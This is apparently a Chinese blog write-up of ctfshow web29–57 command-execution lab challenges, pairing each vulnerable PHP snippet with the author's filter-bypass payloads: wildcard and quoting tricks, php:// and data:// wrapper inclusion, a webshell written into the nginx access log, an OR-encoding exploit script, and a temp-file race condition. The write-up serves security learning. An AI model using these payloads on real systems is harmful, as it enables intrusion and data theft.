ctfshow-web入门-命令执行1

命令执行wp

记录一下自己解ctfshow-web入门-命令执行模块的题目解析

web29

打开题目就拿到了源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

代码审计,发现通过get传入一个参数c

然后判断c中是否存在flag并且不区分大小写,如果有flag则高亮显示代码。

否则执行传入的c。那我们尝试下面payload

https://0dda9ca6-a7fa-4a78-a477-0dcc6d6453fc.challenge.ctf.show/?c=system('ls ./');

image-20250417230337311

发现网站目录下有一个flag.php,

但是flag被过滤了,需要对flag进行绕过。

绕过方法有很多种

c=system('cat fla?.php');
c=system("cat 'f'lag.php");
.....
//官方答案
echo `nl fl''ag.php`;

提交后flag藏在源代码内

image-20250417230909910

web30

上来便给了源代码

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

发现对flag,system,php都进行了过滤。

其实也很好绕过换一个与system功能一样的函数,通过下面的payload

c=passthru("cat fla?.ph?");

flag在源代码中

web31

上来同样给了源代码

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

发现将flag,system,php,cat,sort,shell,.,',甚至还有空格都给过滤了

cat可以通过写成tac绕过,空格可以通过$IFS,<等来绕过

?c=passthru("tac<fla??ph?");//按道理这个payload应该能行的但是不知道为什么没生效
?c=passthru("tac%09f*");//用%09也就是URL编码后的空格绕过
?c=eval($_GET[1]);&1=system("tac flag.php");

web32

查看源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

发现多过滤了`和echo还有;以及\,甚至连左括号都过滤掉了。这个时候可以尝试一下文件包含漏洞

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。

image-20250420164759110

然后base64解码

image-20250420164816730

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这一关多过滤了",但是对上一关的payload没影响,所以使用上一关的payload

image-20250420165123967

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这关将:也给过滤了,但是它只对?>前面的进行过滤啊,那上一关的payload还是能用,我们换一种写法吧。

这时候我们抓包发现中间件使用的是nginx,那我们尝试读取一下nginx的日志文件。

/var/log/nginx/access.log

image-20250420165944922

发现这样可以读取到日志文件,那我们尝试往日志文件中写入一句话木马。

image-20250420170139793

然后尝试使用蚁剑连接

image-20250420170231409

翻阅目录

image-20250420170248306

web35

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

跟前面一样,就是多过滤了一个<和\=。但是全都是对?>前面的进行过滤,对后面的并没有影响

image-20250420171145508

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这关又过滤了数字,也就是get里面不能写1了。那也很好绕过,直接写一个不可见字符%ff,然后后面让%ff=xxxx

?c=include$_GET[%ff]?>&%ff=php://filter/convert.base64-encode/resource=flag.php

image-20250420171809424

web37

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

题目告诉我们flag在flag.php中,但是对flag进行了过滤。那我们可以使用data://伪协议直接执行base64加密后的php文件

?c=data://text/plain;base64,PD9waHAgcmVhZGZpbGUoJ2ZsYWcucGhwJyk/Pg==   //其实就是<?php readfile('flag.php')?>

image-20250420183157246

然后查看源代码发现flag

web38

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }

}else{
    highlight_file(__FILE__);
}

此次对flag,php,以及file都过滤了,但是没对data进行过滤。所以还可以用上一关的payload

?c=data://text/plain;base64,PD9waHAgcmVhZGZpbGUoJ2ZsYWcucGhwJyk/Pg==

web39

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

}else{
    highlight_file(__FILE__);
}

可以看到它通过传入一个c然后与php拼接组成文件名然后include

那我们可以这样

?c=data://text/plain,<?= system("tac fla*.php");?>//
这个//可以把后面的.php注释掉,但是不加好像效果也一样

image-20250420184754860

web40

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

可以看到这次过滤的非常全面基本上所有的特殊符号都没了,通过伪协议肯定是不行了。这。其实这里过滤的是中文的(),真的是经验太少了被吓傻了,哎。那这样便可以通过不断套函数的无参RCE

?c=highlight_file(next(Array_reverse(scandir(Current(localeconv())))));

image-20250420191752050

web41

<?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这题实在是没有任何头绪,查看提示。说是|或运算符并没有被过滤掉,可以通过脚本将自己想要的字符用两个没有被过滤的字符的url编码或运算得来

但是有思路不会写脚本,这里看了羽师傅的脚本

//rce_or.php用来生成可用字符的集合存放在rce_or.txt
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

利用方法

python exp.py

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

image-20250421213018760

属实佩服脚本作者羽师傅

web42

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
  • >/dev/null 表示将命令的标准输出重定向到 /dev/null,也就是丢弃标准输出。
  • 2>&1 表示将命令的标准错误输出(错误信息)重定向到标准输出,这样错误信息也会被丢弃。

所以直接执行命令是不会有任何显示的。

这里可以通过%0a将后面截断来绕过

c=ls%0a

image-20250429155759285

发现flag所在文件

之后直接cat就好了

c=cat f*%0a

然后查看源代码发现flag

web43

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这一次不让用;和cat,用tac绕过即可

image-20250429160246003

web44

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这一次不让用flag,其实我一直没用,使用f*就可以绕过了

image-20250429160429443

web45

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这一次发现多过滤了个空格,有很多种绕过方式,比如

${IFS}
tac<f''lag.php%0a              <与通配符一起使用可能会失效
tac<f''lag.php||
tac<f''lag.php%26  //& ,,一定要注意要url编码,不然会认为是get传参
等等

image-20250429161100529

web46

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

可以看到这次又增加了**不让用数字,$,以及***

使用如下payload即可

c=tac<fl''ag.php||

image-20250429162107255

web47

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次多过滤了,more,less等等与cat类似效果的命令,但是我压根也没用到它

所以还是可以用上一关的payload

c=tac<fl''ag.php||

image-20250429162310871

web48

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这一次多过滤了sed|cut|awk|strings|od|curl|`,但是我们前面的payload还是没有影响

c=tac<fl''ag.php||

image-20250429162746990

web49

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这一次多过滤了%,还是可以使用上一次payload

c=tac<fl''ag.php||

image-20250429163401028

web50

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了两个\x09|\x26

仍然可以使用前面的payload

tac<fl''ag.php||

web51

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这一次将tac过滤掉了

只需要这样就可以绕过

ta\c<fl''ag.php||

image-20250429163957599

web52

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

可以发现这一次将<>给过滤了,但是$给放出来了

那么可以使用${IFS}代替原本的<

ta\c${IFS}fl''ag.php||

但是得到的不是正确的flag,说明flag藏在别的地方

image-20250429164817444

尝试ls一下根目录

image-20250429164845842

发现flag文件,尝试读取它

image-20250429164914091

web53

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这一次后面没有那个烦人的将输出隐藏了

使用下面的payload即可

ta\c${IFS}fl''ag.php

image-20250429170154525

web54

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤 了很多命令。 中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。

于是,有了payload

?c=/bin/ca?${IFS}????.??? 

然后查看源码

image-20250429184332430

此题还有别的做法比如

uniq${IFS}f???.php
uniq 命令主要用于去除文本文件中相邻的重复行
uniq [选项] [输入文件 [输出文件]]
如果不指定输入文件,uniq 会从标准输入读取数据;若不指定输出文件,结果会输出到标准输出。
diff 命令是一个在 Linux 系统中用于比较文本文件之间差异的命令。 此题并未过滤diff,很容易知道当前目录下有flag.php和index.php,所以可以比较这两个文件的差异,有下面的payload 
diff${IFS}f???????${IFS}i????????
vi${IFS}fla?.php

web55

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

image-20250429191246471

然后base64解码

image-20250429191308949

web56

例题:ctfshow-web56

<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

可以发现这个时候字母数字以及$都被过滤掉了,但是.没有被过滤掉。可以通过 . 来执行sh文件,但是前提是要上传一个sh文件。

我也是学习别的师傅的,附上两个我觉得写的不错的blog

https://blog.csdn.net/qq_46091464/article/details/108513145

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

原理是:我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

首先先写一个用post上传文件的网页

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>

<body>
    <form action="http://f6c25ff9-9ef2-4d79-a31c-4d91c81c78ab.challenge.ctf.show/" method="post"
        enctype="multipart/form-data">
        <!--链接是当前打开的题目链接-->
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

然后打开网页,我这里部署在usbwebserver里

image-20250429220230548

然后抓包

image-20250429220816098

然后构造poc

?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。

多尝试几次就能条件竞争成功

image-20250429221020890

然后我们修改命令为直接读取flag

image-20250429221110691

web57

<?php

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

此题将数字,字母,以及点都给过滤了。所以上一题的做法也不能用了。我实在是没招了,看了下wp发现可以这样做。

由于本题并没有过滤$()所以。

在 Bash 中,$(( ))是用于进行算术运算的结构。在这个结构里,能够运用常见的算术运算符(像+-*/等)以及位运算符(像~&|等)。

$(() )由于里面为空,所以它的值是 0。这类似于数学里一个空的表达式,其结果就为 0。

  • 因为$(())的值为 0,在二进制里,整数 0 一般以 32 位或者 64 位的二进制形式来表示,例如 32 位的0表示为0000 0000 0000 0000 0000 0000 0000 0000
  • 对其进行取反操作~0,得到1111 1111 1111 1111 1111 1111 1111 1111。在计算机中,整数采用补码表示,最高位是符号位,1代表负数。补码转换为原码的方法是:符号位不变,其余位取反再加 1。所以1111 1111 1111 1111 1111 1111 1111 1111转换为原码就是1000 0000 0000 0000 0000 0000 0000 0001,也就是 -1。

$(( $((~$(()))) $((~$(()))) ))这里有两个$((~$(()))),其值都为 -1,它们之间没有运算符,在算术运算里就相当于相加,即(-1)+(-1),结果是 -2。

  • -2 的 32 位二进制补码表示是1111 1111 1111 1111 1111 1111 1111 1110
  • 对其进行取反操作,得到0000 0000 0000 0000 0000 0000 0000 0001,也就是 1。

本题告诉我们flag在36.php中,所以我们要构造出36。也就是37个$((~$(()))),然后取反得到36。

所以payload如下

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

然后查看源代码就可以得到flag

以上wp为web27-57的内容,其中web29-41为代码命令执行部分,web42-57为命令执行部分。

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注